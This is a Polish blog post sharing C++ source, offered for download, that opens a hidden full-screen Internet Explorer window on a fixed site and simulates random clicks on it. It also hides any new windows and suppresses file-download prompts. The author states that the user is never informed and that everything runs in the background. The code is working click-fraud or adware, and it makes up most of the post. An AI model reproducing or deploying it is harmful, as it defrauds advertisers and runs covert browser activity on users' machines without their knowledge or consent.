Kod pochodzi z jednego z moich projektów.
Głównym założeniem było otwarcie nowego ukrytego przed użytkownikiem okna przeglądarki i symulowanie losowych kliknięć w różnych miejscach.
Kod składa się z dwóch plików:
Pierwszy z nich ma za zadanie obsługiwać nowe zdarzenia wysyłane do przeglądarki:
#pragma once
#include
#include
extern std::vector< IWebBrowser2* >browsers;
extern bool catchBrowser;
class BrowserEvents: public DWebBrowserEvents2
{
public:
STDMETHODIMP Invoke(DISPID dispIdMember,REFIID riid,LCID lcid,WORD wFlags,DISPPARAMS *pDispParams,VARIANT *pVarResult,EXCEPINFO *pExcepInfo,UINT *puArgErr){
#if defined DEBUG
char bufferLog[ 256 ];
snprintf( bufferLog, sizeof( bufferLog ) - 1 ,"New event dispIdMember %d" , dispIdMember );
logToFile( bufferLog );
#endif
switch(dispIdMember){
case DISPID_NEWWINDOW2:{
if( !catchBrowser ){
return S_OK;
}
IWebBrowser2* currentBrowser;
*( pDispParams->rgvarg[1].pboolVal ) = VARIANT_FALSE;
CoCreateInstance(CLSID_InternetExplorer, NULL, CLSCTX_LOCAL_SERVER,
IID_IWebBrowser2, (void**)¤tBrowser);
if( !currentBrowser ){
return S_OK;
}
currentBrowser -> put_FullScreen( VARIANT_TRUE );
currentBrowser -> put_Visible( VARIANT_FALSE );
*(pDispParams->rgvarg[0].ppdispVal) = (IDispatch*)currentBrowser;
browsers.push_back( currentBrowser );
break;
}
case 270:{ // DISPID_FILEDOWNLOAD
*( pDispParams->rgvarg[1].pboolVal ) = VARIANT_FALSE;
break;
}
}
return S_OK;
}
STDMETHODIMP QueryInterface(REFIID riid, void ** ppvObj){
(*ppvObj)=NULL;
if(!IsEqualIID(riid,IID_IUnknown) && !IsEqualIID(riid,IID_IDispatch) && !IsEqualIID(riid,DIID_DWebBrowserEvents2)) return E_NOINTERFACE;
(*ppvObj)=(void*)this;
return S_OK;
}
STDMETHODIMP_(ULONG) AddRef(){
return 1;
}
STDMETHODIMP_(ULONG) Release(){
return 1;
}
STDMETHODIMP GetTypeInfoCount(UINT *iTInfo){
return E_NOTIMPL;
}
STDMETHODIMP GetTypeInfo(UINT iTInfo, LCID lcid, ITypeInfo **ppTInfo){
return E_NOTIMPL;
}
STDMETHODIMP GetIDsOfNames(REFIID riid, OLECHAR **rgszNames,
UINT cNames, LCID lcid, DISPID *rgDispId){
return E_NOTIMPL;
}
};
Kolejny jest głownym plikiem od którego zaczyna się cała zabawa
#pragma once
#include
void exitBrowser( void );
std::vector< IWebBrowser2* >browsers;
bool catchBrowser = true;
IConnectionPoint* connectPoint;
BSTR bstrURL;
IWebBrowser2* pBrowser2;
DWORD cookie;
bool endBrowser = false;
void mouseMove( HWND hwnd , DWORD x, DWORD y) {
PostMessage(hwnd, WM_MOUSEMOVE, 0, MAKELPARAM((short)x, (short)y));
}
void mouseClick( HWND hwnd , DWORD x, DWORD y , int time ) {
PostMessage(hwnd, WM_LBUTTONDOWN, 0, MAKELPARAM((short)x, (short)y));
Sleep( time );
PostMessage(hwnd, WM_LBUTTONUP, 0, MAKELPARAM((short)x, (short)y));
}
void mouseWheel( HWND hwnd , int amount ){
//PostMessage(hwnd, WM_MOUSEHWHEEL , MAKELPARAM( amount , 0 ), 0 );
}
BOOL CALLBACK EnumChildProc( HWND hwnd , LPARAM lparam ){
char szClassName[ 256 ];
GetClassName( hwnd , szClassName , sizeof( szClassName ) );
if( strcmp( szClassName , "Internet Explorer_Server" ) != 0 ){
return TRUE;
}
RECT windowRect;
GetWindowRect( hwnd , &windowRect );
for( int i = 0 ; i < ( std::rand() % 3 ) + 1 ; i++ ){
int positionX = ( ( std::rand() ) % ( windowRect.right - windowRect.left ) ) + windowRect.left;
int positionY = ( ( std::rand() ) % ( windowRect.bottom - windowRect.top ) ) + windowRect.top;
mouseMove( hwnd, positionX , positionY );
Sleep( ( std::rand() % 100 ) + 100 );
mouseClick( hwnd , positionX , positionY , ( std::rand() % 200 ) + 200 );
Sleep( ( std::rand() % 300 ) + 300 );
}
return FALSE;
}
DWORD WINAPI openAdvert( PVOID pvParam ){
if (SUCCEEDED(OleInitialize(NULL))){
CoCreateInstance(CLSID_InternetExplorer, NULL, CLSCTX_LOCAL_SERVER,
IID_IWebBrowser2, (void**)&pBrowser2);
if (pBrowser2){
VARIANT vEmpty;
VariantInit(&vEmpty);
bstrURL = SysAllocString(L"http://darkgl.pl");
HRESULT hr = pBrowser2->Navigate(bstrURL, &vEmpty, &vEmpty, &vEmpty, &vEmpty);
if (SUCCEEDED(hr))
{
pBrowser2->put_Visible( VARIANT_FALSE );
pBrowser2->put_FullScreen( VARIANT_TRUE );
}
else
{
pBrowser2->Quit();
SysFreeString(bstrURL);
OleUninitialize();
catchBrowser = false;
return 0;
}
srand( time( NULL ) );
Sleep( ( std::rand() % 1000 ) + 1000 );
if(std::rand() % 100 > 20 ){
pBrowser2-> Quit();
SysFreeString(bstrURL);
pBrowser2 -> Release();
OleUninitialize();
catchBrowser = false;
return 0;
}
HWND handle;
if( pBrowser2 -> get_HWND( ( long *)&handle ) != S_OK ){
pBrowser2-> Quit();
SysFreeString(bstrURL);
pBrowser2 -> Release();
OleUninitialize();
catchBrowser = false;
return 0;
}
IConnectionPointContainer* pServiceProvider2 = NULL;
BrowserEvents eventsHandle;
if (SUCCEEDED(pBrowser2->QueryInterface(IID_IConnectionPointContainer, (void**)&pServiceProvider2))){
hr = pServiceProvider2 -> FindConnectionPoint( DIID_DWebBrowserEvents2 , &connectPoint );
if( SUCCEEDED( hr ) ){
hr = connectPoint -> Advise( &eventsHandle , &cookie );
if( FAILED( hr ) ){
pServiceProvider2 -> Release();
connectPoint -> Unadvise( cookie );
pBrowser2-> Quit();
SysFreeString(bstrURL);
pBrowser2 -> Release();
OleUninitialize();
catchBrowser = false;
return 0;
}
}
pServiceProvider2 -> Release();
}
IServiceProvider* pServiceProvider = NULL;
if (SUCCEEDED(pBrowser2->QueryInterface(IID_IServiceProvider, (void**)&pServiceProvider))){
IOleWindow* pWindow = NULL;
if (SUCCEEDED(pServiceProvider->QueryService(
SID_SShellBrowser,
IID_IOleWindow,
(void**)&pWindow))){
HWND hwndBrowser = NULL;
if (SUCCEEDED(pWindow->GetWindow(&hwndBrowser))){
EnumChildWindows( hwndBrowser ,EnumChildProc , 0 );
}
pWindow->Release();
catchBrowser = false;
}
pServiceProvider->Release();
}
#if defined DEBUG
logToFile( "On exit threads advert" );
#endif
endBrowser = true;
return 0;
}
OleUninitialize();
}
return 0;
}
void exitBrowser( void ){
if( !endBrowser ){
return;
}
connectPoint -> Unadvise( cookie );
pBrowser2-> Quit();
SysFreeString(bstrURL);
pBrowser2 -> Release();
for( unsigned int iPosition = 0 ; iPosition < browsers.size() ; iPosition++ ){
browsers[ iPosition ] -> Quit();
browsers[ iPosition ] -> Release();
}
OleUninitialize();
}
Cała zabawa zaczyna się od funkcji openAdvert
DWORD WINAPI openAdvert( PVOID pvParam ){
if (SUCCEEDED(OleInitialize(NULL))){
CoCreateInstance(CLSID_InternetExplorer, NULL, CLSCTX_LOCAL_SERVER,
IID_IWebBrowser2, (void**)&pBrowser2);
if (pBrowser2){
VARIANT vEmpty;
VariantInit(&vEmpty);
bstrURL = SysAllocString(L"http://darkgl.pl");
HRESULT hr = pBrowser2->Navigate(bstrURL, &vEmpty, &vEmpty, &vEmpty, &vEmpty);
if (SUCCEEDED(hr))
{
pBrowser2->put_Visible( VARIANT_FALSE );
pBrowser2->put_FullScreen( VARIANT_TRUE );
}
else
{
pBrowser2->Quit();
SysFreeString(bstrURL);
OleUninitialize();
catchBrowser = false;
return 0;
}
srand( time( NULL ) );
Jak widać jest tu tworzony nowy obiekt przeglądarki następnie na tym obieckie są wykowane różne operacje.
- Ustawianie adresu url
- Ustawianie trybu fullscreen
- Ustawianie że przeglądarka jest ukryta ( visible – VARIANT_FALSE )
Dalej po losowym czasie zaczyna się klikanie w różne również losowe miejsca.
Całość jak widać jest najeżona sprawdzaniem czy wystąpiły jakieś błędy. Tak naprawdę po uruchomieniu tego kodu nie zobaczymy nic , użytkownik nie zostanie poinformowany żadnym komunikatem kursor nie zacznie się sam poruszać wszystko dzieje się w tle.
Kod obsługi zdarzeń przeglądarki jest trochę skomplikowany ponieważ musimy obsłużyć ściąganie plików , otwieranie nowych kart itp. itd. tego typu operacje został by odrazu pokazane użytkownikowi a tego nie chcemy.
Dwa pliki do ściągnięcia:
include.zip Download
czym to odpalić?